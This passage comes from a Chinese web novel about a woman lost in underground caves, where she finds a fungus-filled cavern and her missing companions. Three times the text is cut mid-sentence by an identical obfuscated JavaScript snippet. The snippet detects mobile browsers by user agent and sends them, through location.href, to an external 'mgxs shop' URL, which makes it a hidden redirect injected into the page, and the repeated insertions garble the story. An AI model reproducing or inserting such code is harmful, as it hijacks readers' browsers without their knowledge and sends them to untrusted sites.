前方华悠悠走得很快,快到第五页甚至要在洞道里小跑起来,地下道路错综复杂。 她不敢乱走,追着华悠悠的同时,也记下了她在这条不知多长的洞道里转过的弯。 这条洞道拐弯很多,而且地面并不平整,很多碎石,在这样一条洞道里追一个人很难。 第五页更想尝试把前面的人叫醒,但不知前面的华悠悠是真睡醒了,还是被附了身,无论她用多大的声音喊,前面的人依旧不停下。 在拐了大概四个弯左右,前方突然出现一条岔路,梦游的华悠悠毫不犹豫地右转。 她也快步追了上去,往右看去,发现明明前几秒华悠悠走了这条路,此刻纵深的洞道内却空无人影。 她不死心,又用手电光照的另一条路,依旧是黑漆漆一片,手中的光被洞道深处的黑暗吞噬。 空荡荡的,仿佛华悠悠从来没有出来过。 第五页开始不确定刚才看见的是不是幻觉,如果是幻觉的话为什么那么真实? 没找到梦游跑过来的华悠悠,她又顺着追过来的路往回走。 可是明明在脑子里记的是左拐左拐再左拐,然而等她按照脑子里记下的路线往回走时,却没找到她最开始待的那个洞穴。 路线尽头只有一个死胡同。 28. 第二十七章:土匪 第五页来回走了四遍,最后不得不在心底承认,她回不去了。 回不去最初那个洞穴了。 说实话她确实有一瞬间的崩溃,看着错综复杂的洞道,那种被丢弃,被遗忘的恐惧慢慢加深。 第五页开始后悔,她是不是不该来雨守村,是不是不该挖开那个深坑下到洞穴里,是不是不应该刚睁眼就追着梦游的“华悠悠”过去。 刚才看到的华悠悠是真的吗?她现在究竟是迷失在洞道里,还是在原本的洞穴中睡着。 第五页发现自己开始无法理智思考,心脏也像是被禁锢在这方寸之地一样狂跳,皮肤上传来密密麻麻的痒意。 她掀开衣服一看,果然,是身上的病又发作了。 恶心的纹路再次浮现于她的皮肤,密密麻麻,甚至有向她掌心蔓延的趋势。 盯得久了,总感觉那些纹路之下像是有虫子在不停蠕动,第五页强忍住用刀割开纹路挑出里面虫子的冲动,用刀柄压了压之前为了给瘦鸡喂血割开的掌心伤口。 真实的痛意压住皮肤上的痒意,将她从崩溃边缘拉回。 她站在一条长且深的洞道中央,深吸一口气。 第五页不敢乱走,害怕她走的越远,离最开始的那个洞穴越远,尝试站在原地呼喊华悠悠的名字。 她猜测自己现在是被迷了心智,看过一些迷路人的例子,他们大多数时候只是太着急了,才会一直找不到出口,其实出口一直就在他们眼前。 这个时候就需要外界来打破,她祈祷自己还没走太远,也许那个洞穴就在转角。 第五页大喊几声华悠悠的名字。 她的声音被长长的洞道传去了很远的地方,但是没有声音传回来。 如此重复几次,她彻底放弃了。 放弃再回到最初的洞穴,开始寻找其他离开的办法。 第五页来到之前跟丢梦游华悠悠的地方,想看看有没有留下什么线索,比如说脚印什么的,虽然她知道这很渺茫。 她的手电光在石壁上扫来扫去,仔仔细细搜寻每一寸,最后倒还真让她找到点不一样的东西。 之前追着华悠悠过来,光顾着追人,没注意洞道两侧的石壁,现在她为了寻找离开的办法靠近石壁才发现,转弯过后的洞道相比之前的洞道更加规整,有人工凿过的痕迹。 这个地方有人开采过? 第五页不可避免地联想到之前他们住下山洞石壁上的刻字,关于山下雨守村的历史。 雨守村的老人之所以会在村子里住下,最初是因为被一群土匪抓进来当苦力,那群土匪在这些山里寻找什么,宝藏?矿石? 山洞里的刻字并没有明说。 现在这个洞穴里又出现人工开凿的痕迹,难道这个地方就是当初土匪们抓着老人开凿的地方? 第五页不知道。 但她知道如果这里有人工开凿的痕迹,那就说明一定有人进来过,有进就有出,只要她顺着这些痕迹有很大可能找到出口。 想明白这些,她心松快许多。 立马埋头研究于石壁上的痕迹。 人工开凿的痕迹一直延伸到洞道深处,她打着手电,摸着石壁上的痕迹,一直往洞道深处走去。 越往里走,她越觉得自己的猜测正确,因为地上逐渐出现些人类的东西,腐烂的衣服,锈掉只剩下头的锄头,还有一些看起来像是吃剩下的小动物的碎骨。 之前第五页在洞穴里听到的潺潺水声也变得更加清晰。 走过一段路后,洞道慢慢变小,最后缩减到仅能两三人通过。 她不停歇地观察石壁上的痕迹,同时放大五感,分析听见的所有声音,不放过一点线索。 就这样第五页不知道自己在洞道里爬了多久,或许有一个小时,又或许是半天的时间。 反正等她停下的时候,手脚发软,喉咙干的快要冒烟。 好渴,想喝水。 离开的匆忙,她带出来的东西只有手电,短刀,还有一节能量棒,没有可使用的饮用水。 一开始,她还想,虽说能在这洞道里听见潺潺的流水声,但这里面的水多半重金属超标,还是不喝为好。 但走了这么久,她都走到口感舌燥了,在这洞道里也是光听见水声,瞧不见真正的水。 难道她一直在这附近打转吗? 第五页有些泄气地想。 没办法,为了保持清醒,脑子不胡思乱想。 她决定先停下来休息一会,在洞道里找了一个角落蹲下身,将身体蜷缩起来。 手电的电池并不耐用,进来后她换了几次,现在里面装着的是最后的电池,刚才她又打着手电走了那么久,手电的光线明显变弱。 为了节省电池,第五页将手电关闭。 好在,虽然没有手电光,但是眼睛适应后,她发现这些洞穴洞道偶尔还是会有微弱的光线传来,没有那么可怕。 她强制让自己冷静下来,舔舔干裂的嘴唇。 掌心的伤似乎没有再流血,在伤口处结了一层厚厚的痂,但用力还是会有钻心的疼痛传来。 第五页举着那只受伤的手放在眼前,洞道里微弱的光线勾勒出她整只手的轮廓。 看着看着她有些感叹人身体真是强大,慢慢适应过后,眼睛居然能看的这么清晰。 等会找路,不知道她可不可以不用手电,正好省点电。 脑袋放空了一瞬。 再回过神时,第五页发现或许不是她眼睛的问题,而是她脑子的问题,不然她怎么现在她看她的手有六根手指?多了一根,在大拇指和食指的虎口处长了一个小短指。 难道是她太渴,渴出幻觉了? 第五页抬手用另一只手摸了摸,最后发现那根小短指并不是长在她手上的。而是洞道内另一端不知何时出现一个小黑影,刚好和她手的影子重叠。 也是直到这个时候,她才周围那潺潺的流水声下又多了点其他的声音,那声音很小,藏在流水声下不注意听根本不会察觉。 认真听会觉得那声音很像小动物啃食的声音,但如果这声音是洞道另一端那黑影发出来的,那它就绝对不是什么小动物了。 第五页瞬间浑身紧绷起来,甚至连呼吸都放的更缓,生怕她的呼吸声惊动到此时洞道内的另一生物。 她握紧怀中的短刀,手撑在身后的石壁上,做出随时进攻或者闪躲的姿势。 此时那生物在她五米外的地方,似乎趴在地上,或者蹲在地上,黑色的影子有轻微抖动的迹象。 第五页不清楚它是什么时候来的,又是从哪来的。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148629|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道当自己反应过来的时候,它就在那里。 那是个动物吗?还是人? 它在那里做什么?如果是动物,是食肉动物还是食草动物? 这地底下居然还有活着的生物? 第五页脑海中瞬间冒出几十部洞穴类恐怖电影,握住短刀的手更紧了紧。 同时,一直蜷缩在那边的生物,终于在下一秒动了起来,像是缓慢舒展身体,从一个蹲着的姿势,变成了四肢着地的姿势。 看起来有点像是人模仿猩猩或者猴子趴在地上。 瞧见它动,第五页登时紧张起来。 屏住呼吸,注意那边的全部动静。 那生物弓着身体,似乎没发现她在这个角落,原地停留了两三秒后,突然往左前方跑去。 第五页没有贸然追上去,直到那黑影和声音远远消失在这条洞道内。 她才慢慢松开紧抓着短刀的手,这才发现掌心渗出了密密细汗,心脏狂跳。 那生物是什么? 这地底下居然还有活着的动物吗? 看那身形,她突然有个不好的猜测。 刚才那东西不会是人吧? 活着的人? 难道是跟村子里的老人一样? 第五页这个时候突然想起一件事,当时山洞石壁上的刻字说过留在村子里的老人是被抓进来的苦力,而还有一群土匪,在很多年前的某一天,雨天进山后,再也没有回来。 石壁上的刻字并没有说土匪是活下来了还是死了,就像也没有说村子里老人最后的结果一样。 难道当年那群土匪和村子里的老人们一样,也活下来了?还活在这些山内洞穴里? 第五页并不知道这些猜测的可能性有多少,但是她现在知道了,这些洞穴里并不只有她们,还有另一诡异生物。 她等了很久,等到这条洞道再没有其他声音出现时,才从怀里摸出手电,打开手电筒。 用手电筒的光将周围晃了晃,照亮灰白的岩层,崎岖的石壁,以及刚才那诡异生物跑离的方向,周围还是一如她关闭手电筒前的模样,仿佛连她刚才看见的黑影也像是幻觉。 洞道里不时传来滴答滴答,那是潺潺的流水声。 她握着手电来到刚才幻觉中的黑影蹲坐的地方,地面潮湿一片,有几块石头上面有白色的东西,不知是粘液还是霉菌。 第五页没敢立马抬手去碰,只是用旁边的碎石刮了刮,那东西黏黏糊糊的,即使刮下来也没瞧出到底是什么。 不过她倒是从刚才拿石头的石头缝里瞧到另一样东西,是一块拇指大小的碎布,夹在石头缝里。 她用食指和中指夹出来,仔细摸上面的纹路,感觉这块布很新。 最起码不是她跟着石壁上人工开凿的痕迹过来,一路上瞧见的腐烂的衣服,布料虽然被水浸泡过,但依稀还能看见原本的颜色。 而且这颜色让她不由自主地联想到裴桐,他当初离开山洞时,好像穿着的就是这个颜色的衣服。 第五页脑海一道灵光闪过。 裴桐他们也在这里? 她和华悠悠真的找对了? 此时的她不知道是该高兴还是该担忧,如果裴桐他们真的也意外掉到了这个洞穴里,那从现在来看,估计他们也凶多吉少。 29. 第二十八章:菌丝洞 第五页将那一小块布料捏进掌心,顺便用手电筒光在地上的石缝里照来照去,想找找看有没有更多的线索。 然而可惜的是没有,找来找去只有这么一小块布料,还不能够完全确定这东西是不是裴桐身上的。 不过她倒是想起了另一件事,这小块布料掉在这石缝里,会不会是刚才那黑影带过来的。 难道裴桐他们也遇上了那诡异的生物? 还是说他们之前搏斗过? 第五页越想越觉得可能,当即就抬起手电筒,往刚才那黑影消失的地方照去。 她猜想说不定跟着那黑影能够像她在村子里那样,跟着村子里的鬼影队伍找到裴桐他们。 如果地下真的有这种诡异的生物,只是一味地躲避也不是长久之计。 第五页不怕危险,就怕自己会什么都不知道地被困在这里。 而且她现在更担心华悠悠和裴桐他们的安危,现在手心的这一点布料似乎在告诉她,裴桐他们现在的状况很不乐观。还有华悠悠,怎么说也是她把她带进这洞穴的,不管现在的她是在梦游,还是在原本的洞穴里,有刚才那诡异生物的存在,都不是个好苗头。 第五页还是想赶快找到裴桐和华悠悠他们,决定先跟着刚才那黑影过去看看,等情况不对再随时溜。 想着,她下定决心。 打着手电再次上路,来到之前那黑影离开的地方。 那是条狭小的缝隙小道。 第五页之前从另一边过来,由于一直注意另一侧石壁上的人工开凿痕迹,并没有注意到这边。 现在打着手电,蹲下身仔细看才发现,这里有一个天然的缝隙,大概半人宽,高度只有一米多一点,过去可能需要侧着身子。 她在缝隙口看到了刚才那块一模一样的粘液或者说霉菌。 第五页将短刀和手电都收起来,然后缩起身子,侧着身体,先把手挤了过去,然后是下半身。 这条缝隙还挺长,等进去发现大概有个一两米才能到另一端。 第五页拥挤逼仄的缝隙里缓慢爬行,墙壁的潮湿头顶的水气全部浸入她的衣服,寒气覆盖全身。 她不敢遐想自己要是被困在这逼仄的地方该怎么办,只能专心致志地往另一端爬去。 等完全把身子从狭小的洞里挤出来时,身上的水已经分不清是洞道里的水汽还是她身上的汗珠。 狭小的洞道另一头还是一个洞穴,这个洞穴更小,小到或许只能她一个人站在这里,双手撑开便能完全触摸到两侧石壁,往上看倒是有很大的空间。 第五页手电筒光往头顶照去,光线隔了很长一段距离才落到实处,这个小洞穴虽然平面不够宽,但是纵深很长,目测有个五六层楼的高度。 在她抬头盯着上方的时候,恰好一滴水从最顶上滴落,直直滴在她的天灵盖上,吧唧一声,冰冷的潮意像是要通过这种方式进入她的脑子。 第五页抹了把脑门上的水,小口喘气,用手电筒光照了一下周围,没有瞧见有其他的出路,也没看见之前那个钻进来的影子。 那那个生物就很有可能是往上面跑了。 她咬了下牙,将手电筒叼在嘴里,短刀插在后腰,搓了搓手,开始往上攀爬。 没有多少攀爬经验的她此时也必须硬着头皮往上。 岩层缝隙有很多水,抓在上面很容易滑,第五页必须不断试探每一块石头,等完全放心后才敢下脚。 就这样她一步步往上爬,途中不知爬到哪里,想停下来歇一下,往下一看,她不算是个很恐高的人,也瞬间吓得腿软。 立马不敢休息,继续往上爬了。 等她好不容易爬到最上面,发现只有一个很小的口子,哪怕蜷缩着身体也不能钻进去。 爬这么高不会又让她下去吧? 第五页喘着气,有些不甘心。 咬着手电,从身后抽出那把短刀,往石头缝隙里一插,用力翘了翘。 那块石头很快有了松动的痕迹,她心中一喜,便觉得这事有门。 两腿撑在石壁缝隙,另一只手稳住身体,同时狠狠压着短刀,企图撬动石头缝隙。 眼看岩层晃动的幅度越来越大,她觉得只需要一个契机,于是抽出短刀,插回后腰。 撑着手臂往上爬了几寸,来到那个小口前,用身体猛烈撞击出口,想要就这么把它撞开。 一下、两下、三下。 忽然听见咔嚓一声,出口处的几块石头松动。 她上半身没稳住,和哗啦啦掉下来的碎石一起径直往里栽去。 为了保护头部,第五页双手抱头,尽量蜷缩身体,减少受伤的面积。 谁知那出口外,是个比之前她和华悠悠从坑下跳下来遇见的斜坡的坡度还大的斜坡。 一头栽进去后,也不敢往回退。 因为另一边是个五层楼高的小洞穴,与其粉身碎骨,不如在这边拼一把。 因此,她没有过多挣扎地顺着那个很高的斜坡滚了下去,这个斜坡很长,她滚了很久才滚到底部。 结果扑通一声,掉进一个冰冷彻骨的小水潭里。 整个身体浸泡在水中,瞬间便把她冻回了神。 第五页疯狂拍打水面,在水潭中央站起。 好在这水潭并不深,仅仅到她腰腹的位置。 她吐了两口脏水,打着哆嗦摸到岸边,翻身上岸。 打着哆嗦拧干衣服上的水,也不知道是该庆幸还是该不幸,因为洞穴全封闭,所以不会有风透进来,和身上的水一起快速降低她的体温。 但也正是因为没风,才说明附近没有出口。 第五页抖了抖身体,从怀中摸出手电,还好刚才她撞墙的时候有先把这手电安置好,不然在这黑漆漆的地方,虽然也有微弱的光,但没有照明的东西,她恐怕会很快崩溃吧。 手电是潜水手电,有防水功能。 她拍了两下,另一只手从腰后抽出短刀,同时打开手电往周围晃去。 这是她来到的第三个洞穴,相比前两个来说没那么大也没那么小,算是适中大小。 然而当她打开手电往四周以及头顶的方位照去时,入目的东西却把她吓了一大跳。 因为此时这个洞穴内,除了地面靠近水潭的这一块,她的头顶以及周围的石壁边,密密麻麻的全部长满了白色的菌丝,像是一张白色大网,将她整个人包裹在里面。 第五页甚至恍惚一瞬间觉得自己是不是掉进了盘丝洞里。 也是她用手电照着自己低头看去,这才发现除了这个洞穴其他地方,她自己身上也密密麻麻沾满了菌丝,头上衣服上随处可见。 带着恶心粘液的一股粘连感,很像刚才她在洞道里看到的东西。 看着这些菌丝,第五页鸡皮疙瘩都起来了,差点再次跳进水潭,想要好好洗去身上的菌丝。 这些到底是什么东西? 她记得文青香的笔记里好像也出现过这些东西,而且在村子里她也见过,只是没有现在这么多,恐怖的像是要爬满人的眼球。 在这待得越久,第五页越感觉窒息,仿佛那些菌丝能够通过空气钻进她的鼻腔,整个人从内到外全部被占满。 她捂住口鼻,用短刀在头顶的位置划了一下,好在那些菌丝并不坚韧,轻轻一划便划开个大口子。 刚才她从上面掉下来的位置,也将头顶的菌丝网撞出个大洞。 第五页收回短刀,看着上面一并被粘连下来的菌丝,脑中突然灵光一闪。 她还没忘记自己进来是为了寻找治病的东西,虽然她并不知道治病的东西是什么,但进来后也曾秘密收集这个地方的一部分。 害怕空跑一趟,她几乎是所有东西都装了一部分,水潭里的水,荒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151857|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村里的土,一草一木都不放过。 然而那些只是表层,直到现在看到这个菌丝洞,她才有一种在大海里抓住浮木的感觉,虽然海面还是迷雾不清。 但她恍然间有种第六感,或许这些东西就是她想要找的。 不放过一丁点可能的她,立马从口袋里拿出一个指甲盖大小的小盒子,将刀上的菌丝装进盒子里。 做完这一切,她再次打量整个菌丝洞。 整个洞穴的上方还有一部分空间,只不过全部被白色霉菌占据。 第五页四处转了转,想要找到其他出口,或者说裴桐他们留下的线索。 到现在为止,她还没有见到跟过来的那黑影。 是她跟错了方向吗? 第五页不知道,但目前观察这个洞穴,她也没瞧见有其他的路可走。 她也有尝试过去扒着石壁往上爬,用短刀砍断头顶的菌丝,可惜裸露出来后的洞顶,依旧是没有任何出口。 第五页翻遍这个洞穴,不放过任何一处岩层,就在她快要泄气,想着要不退回去试试时。 终于在这个洞穴里发现了点不对劲的地方。 是她最开始掉进的那个水潭,就在整个洞穴的最中心。 仔细观察能够发现,虽然不明显,但还是能看出有水流动的痕迹。 刚掉进这个洞穴的时候,第五页怕在水里待太久会夺走她的体温,立马便上了岸,再加上这里的水潭很浑浊。 她也没有看清水潭底部有什么。 直到看到水流动的痕迹,她立马反应过来水底下或许有其他出口。 跟着便再次跳下水,在水潭中好一顿摸索,终于找到了水流流动的方向。 在水潭边角的位置,洞口很小,仅能容纳一个人进去,甚至这一个人还要完全缩着身体。 洞口底下是什么,第五页不知道。 但她用脚探了探,底下很深,而且越往下水流动的幅度就越大。 也许底下没有出口,也许另一侧的出口很小。 但她觉得她在外面走了这么久都没找到方向,直到越往这深处钻,获得的线索就越多。 第五页没犹豫太久,决定试着下潜。 她将身上的东西绑好,缩着身体,探了下洞口,顺着那狭小的洞口潜了下去。 刚开始很逼仄,在水中模糊一片,手臂完全无法伸开,仿佛连呼吸起伏的胸膛都能碰见石壁。 即使没有幽闭恐惧症的第五页,也忍不住头皮发麻,刚进来几秒钟,便想立马爬出去。 她强忍住心底的这股冲动,扒着石壁继续下潜。 直到周围的空间越来越大,大到她可以站立起来。 第五页在水底转了个圈,然后手突然探出水面,才发现这底下的水并没有完全淹没洞道。 她扒着石壁,脸露出水面,猛吸两口气。 虽然冰凉刺骨的水并没有全部淹没洞道,但露出水面的部分还是很少,洞道顶部就在她面前一拳的距离。 第五页就保持着这样的姿势扒着石壁,往水流流的方向游去。 在这里待得越久,她越感觉自己的体温在急速下降,手脚几乎失去知觉。 太阳穴也冻得一跳一跳的疼。 在第五页以为自己会不会就被困在这里,永远留在这暗无天日的洞穴,无法出去时。 身边的水流似乎终于到了尽头,流动的速度变缓。 她深吸一口气,再次潜下水。 顺着水流微弱的方向往上摸去,很快摸到一个狭小的洞口。 她几乎本能地往那方游去,抓着岸边,用力把自己往上提。 谁知刚破开水面,抹了把脸上的水。 微弱的光线不知从这个洞穴哪个地方渗出,模糊的光影下。 第五页对上一双死白的眼睛。 那是裴桐的眼睛。 30. 第二十九章:两个 第五页大脑一片空白,她想要尖叫,声音却卡在嗓子里。 世界天旋地转,某一瞬间,她开始分不清周围是不是幻觉。 第五页从来没有想过自己跋山涉水,想尽办法寻找裴桐他们,现在好不容易见到了。 第一眼看到的却是裴桐的尸体。 裴桐真的死了? 她不敢动,也不敢离开水。 因为除了那方裴桐的尸体,她还瞧见之前在洞道里见过的黑影,它们蜷缩着身子像头野兽般,趴在裴桐的尸体之上,咔吱咔吱,仿佛在啃食些什么。 熟悉人的尸体村子里的老人不一样,村子里那些如鬼影般的老人,她还可以用幻觉欺骗自己,那些都不是真的。 但眼前的幻觉感受太过真实。 让第五页胃里忍不住翻江倒海。 人在面对恐惧的那一瞬间,真的会下意识想要呕吐。 激烈的情绪在身体里撞来撞去,第五页几乎快要控制不住自己,皮肤上的痛意变成热意。 她下意识想要冲上去,然而身体还没动作。 突然一只手从她脑后伸来,捂住她的嘴,同时熟悉的声音在耳侧响起,声音低得仿佛是另一个幻觉,“不要看……那是假的……” 第五页手指抓在岸边的石头里,紧紧扣住,指尖因为用力而有些发白。 耳边突然出现声音的时候,她还以为自己在这一刻终于疯了。 直到视线右移,在她的侧后方看见那道身影,再仔细一瞧才发现那面容是如此的熟悉,熟悉到她上一秒才见过。 在这洞道洞穴里走了这么久,一次次燃起希望,又一次次绝望。 分不清她身侧这个裴桐是真的,还是那边被啃食的他是假的,第五页恍惚间有种想哭的冲动。 身侧这个裴桐似乎知晓她现在情绪很激动,想要安慰她一下,但也扯不出来什么笑,只是慢慢松开捂住她嘴的手,下滑紧紧抓住她扣在洞口岩石上的手腕,将力量传递给她,低声道,“是我……” 第五页的情绪总算慢慢平静下来。 平静下来后便是无数个问题从脑海中冒出来。 她身边这个裴桐是真的吗?那那边的是怎么回事?幻觉? 为什么这个幻觉这么真实? 她突然有些思考不过来,像是回到了刚才那个布满白色霉菌的菌丝洞,她的大脑在此刻也像变成那个洞穴似的,乱糟糟密密麻麻被白色霉菌布满。 似乎看出她眼底的疑问,裴桐小心翼翼地将她从水里拽了出来,低声道,“先跟我走,等会跟你解释。” 说完裴桐便先一步从侧边移到狭小的缝隙钻了出去。 第五页抬眼看看那方,地上裴桐的尸体还在被那群黑影啃食,啃食发出的咔吱咔吱声飘荡在洞穴上空,声音清晰可闻,完全不像是幻觉。 但是刚才裴桐捂住她的嘴,触感也非常像活人。 她分不清到底哪里是幻觉。 只能先从腰后抽出短刀。 好在那边黑影正在专心致志地啃食地上的裴桐,即使她这边有声音,也像是没听到似的。 第五页最后看了眼地上裴桐从那群黑影当中挤出来的脑袋,对上那双了无生气的眼睛。 随后狠下心,握着短刀,转身挤进了刚才另一个裴桐离开的缝隙。 缝隙只能容纳一个人侧身过去。 另一个裴桐走在前面,会时不时停下来看后面的她有没有跟上来。 第五页也不敢放松警惕,因为她也不敢打保票,眼前的这个裴桐就是真的。 在这些重复的洞穴里待得越久,她越能感觉大脑的混乱。 第五页藏起短刀,以应对前方裴桐。 这条缝隙很长,他们在狭窄的缝隙里挤了很久,东拐西拐,等到第五页快要丢失全部的方向感时。 前方的空间终于变大,并在一瞬间有种豁然开朗的感受。 因为这个洞穴和最初她和华悠悠跳下深坑的那个洞穴很像,地面被黝黑的水潭切成一半,很高的洞顶,宽阔的能跑上两圈的地面,同样拥有几条大小不一的洞道,通往很多地方。 只是这里没有华悠悠,也没有之前她们从地面挖穿深坑留下的洞。 但是她在这里看见了曹永朝,他面色苍白地晕靠在洞穴角落,身上都是细碎的伤口,衣服像是被擦开一样,撕开数道口子,脸颊胳膊膝盖上都是泥水或青苔。 第五页停在曹永朝的不远处。 直到前面领路的裴桐回头唤了声她的名字,她这才恍然回过神,低低地嗯了一声。 又快速问道,“曹永朝这是怎么了?怎么只有你们两个?宋英杰呢?” 裴桐和曹永朝没打手电,不知是不是手电弄丢或没电了,偌大的洞穴里只有第五页手中微弱的光,带她过来的裴桐眉头一直紧紧皱着,看着她略微苦涩道,“说来话长……我们和宋英杰走散了。” 空旷的洞穴里安静了两三秒,只有曹永朝那方传来微弱的喘息声。 裴桐又问她,“刚才在那个洞里只看见你了,华悠悠她没跟你在一起吗?” 说到这个,第五页的脸色也没多好看。 像个做错事的人垂下脑袋,“我跟她也走丢了,现在她有可能在我们最初待的那个洞穴里,也有可能和我一样迷失在这些错综复杂的洞道里。” 接着第五页便把她跟华悠悠在山洞里等了一晚上,没见他们回来出去满山寻找,甚至还回了趟荒村,最后用她的血喂鸡找到深坑底下的洞穴,结果在洞穴里不小心跟华悠悠分开的整件事跟他说了遍。 来龙去脉讲明白,第五页又想起刚才洞穴里看到的场景,忍不住抬头上下打量面前这个裴桐,没从他身上找出不对劲的地方,疑惑道,“刚才那个洞穴里是怎么回事?” “那真的是幻觉?”她有些想不通,如果真正的裴桐在这里,那为什么在刚才那个地方,她会产生那么强烈且真实的幻觉? 哪知面前的裴桐并没有正面回答她,而是问了她另一件事,“你在这些洞道里走了这么久,有没有看到过一种白色的菌丝?远看像蛛网,凑近看会有点粘液的粘黏感。” 第五页瞬间便想到那个菌丝洞,还有洞道里她第一次发现黑影时看到的菌丝。 瞧见她这副表情,裴桐便明白她肯定是遇到了这些东西,冷声问道,“在没遇到我们之前你是怎么猜测的?” “我不知道……” 第五页有些没回过神地回答他,不知道几个字说出口后,又迅速反应过来,“我之前跟华悠悠分开后在几条洞道里走了很久,期间一直听到水声,但是总找不到那水的源头。后来途中休息看到了刚才洞穴里的鬼影,再联想到之前山洞里的刻字,宋英杰曾跟我们说过的雨守村的过去,除了村子里的老人曾经还有一群土匪离开荒村消失在山里再也没有回去。 我便猜测,当年那些土匪可能和村子里那些老人一样也活了下来,就藏在这些洞穴里,也就是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152776|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇见的鬼影。” 现在想来之前她的猜测完全就是错的,从进入这些洞穴开始她就一直在跟着幻觉走,梦游磕头的华悠悠,还有刚才啃食裴桐尸体的鬼影。 第五页突然有些后怕。 她有一种错觉,好像这些山、这些洞穴都是活的,它们知道她在想什么,她越是猜测,它们越是把她的猜测全部验证。 没有错误答案纠正,她便像迷路的人一样在这些错综复杂的洞道里迷失。 现在看她反应过来,似乎明白了什么。 裴桐轻轻叹口气,“我们当时和你的情况差不多。” 说着,他转头看了眼地上晕过去的曹永朝,“曹永朝还醒的时候,我问过他。他说那天晚上他和宋英杰追出来想找我道歉,但是晚上雨雾太大,追上了一个类似我的背影,误打误撞掉进洞穴。而我在他们追出来没多久也发现了他们,只是不明白他们为什么大晚上往山的深处走去,跟着他们追进洞穴,半路分开,再遇见时是曹永朝和宋英杰在洞道内遭遇了塌方,我把曹永朝从石头里挖出来,但没找到宋英杰。猜测可能是被埋到了塌方的另一侧。想绕其他路去找他,但没找到,只能先把曹永朝搬来这个洞穴。” “也是听了曹永朝的描述,再加上我出去寻路遇见那些鬼影才知道一切是怎么回事,这里的洞穴或者说这里的山会迷惑我们。”说到这个裴桐表情不自觉地严肃起来。 第五页垂下眼眸,抿了抿唇,看向裴桐略微不自然垂下的手臂,“你的伤怎么样?” 裴桐顿了一秒,随后撸开袖子,伤口处有简单包扎的痕迹,但包扎得很粗糙,大片黑红的血还是从纱布里渗了出来。 瞧见他和曹永朝这副样子。 第五页更加愧疚了起来,怎么说裴桐也是因为她才变成现在这个样子,曹永朝和宋英杰出事也是因为寻找裴桐,追究起来,一切事情的源头都是因为她。 似乎看出她的想法,裴桐轻声安慰她道,“别担心,我没事,一时半会倒不了。如果有出去的路我也能把曹永朝带出去。” 第五页抬眼皮,瞥了眼裴桐和曹永朝苍白的脸色,两人都到了强弩之末的地步。 他们不能在这待下去了,必须赶快出去,裴桐现在的身体也急需医生。 只是直到现在,他们也不知道该怎么走出这些洞穴,甚至连回到最初的雨守村也做不到。 面前裴桐继续问:“你说你跟华悠悠是在一个洞穴里走散的,那还记得怎么回到最初那个洞穴吗?” 第五页点头又摇头,“只能记住一半,而且我过来的路很难走。” 回想那些经过的洞道,她又想到什么。 虽然那些洞穴里的鬼影都是幻觉,是山在欺骗他们,但她也确实在那些洞道里看见过人工开凿的痕迹。 就说明这些地方曾经确实有人进出过,她猜对了,但只猜对了一半。 想到这里,第五页又莫名燃起信心。 现在已经找到了裴桐和曹永朝,只要再找到华悠悠和宋英杰,回去顺着原来洞穴的人工开凿痕迹,他们就有很大可能离开这里。 或许是因为遇见同伴,虽然得知之前的猜测有一半是错的,但第五页并没有立马崩溃,反而迅速安抚好了自己。 只是该如何回到最初的洞穴找到华悠悠,她还没有丝毫头绪,就连华悠悠还在不在最初那个洞穴她也不确定。 醒来后发现她不见,华悠悠一定跟之前迷失在洞穴里的她一样无措。 31. 第三十章:华悠悠 事实上华悠悠也确实如第五页猜测的那样。 由于之前满山遍野地跑,后面挖坑下洞穴,耗费了不少力气。 华悠悠本就是五个人当中体力稍差的那一个,在和第五页商量,决定小小休憩一会后,便立刻昏睡了过去。 再次醒来不知是什么时候,洞穴里安静得像是被抽走了声音。 华悠悠做了噩梦,满头大汗地惊醒,喘气过后回想刚才噩梦的内容,却想不起丁点。 她抬手抹了把额头上的汗,想要转头推推旁边的第五页,却推了个空。 抬头四顾,连个人影都没瞧见。 直到这,她才霎时间慌了起来,站起身,站在洞穴中央大喊第五页的名字,“叶子……叶子?第五页?” 几番寻找都没找见第五页的身影,站在那些洞道门口呼唤,回应她的只有她的回声,华悠悠甚至回到坑上面去看过。 可惜的是依旧没有线索,那个深坑顶上和她下去前的模样一样,连坑边杂乱的脚步都没改变。 第五页不见了。 她像是就这么凭空消失。 华悠悠脸色白了又白,孤零零地站在洞穴中央,一股巨大的孤独恐惧感包裹住了她。 她不知道该怎么办,开始怀疑自己是不是出现了幻觉。 不然为什么第五页会就这么凭空的消失?如果是正常离开,按照第五页的性子肯定会给她留下线索。 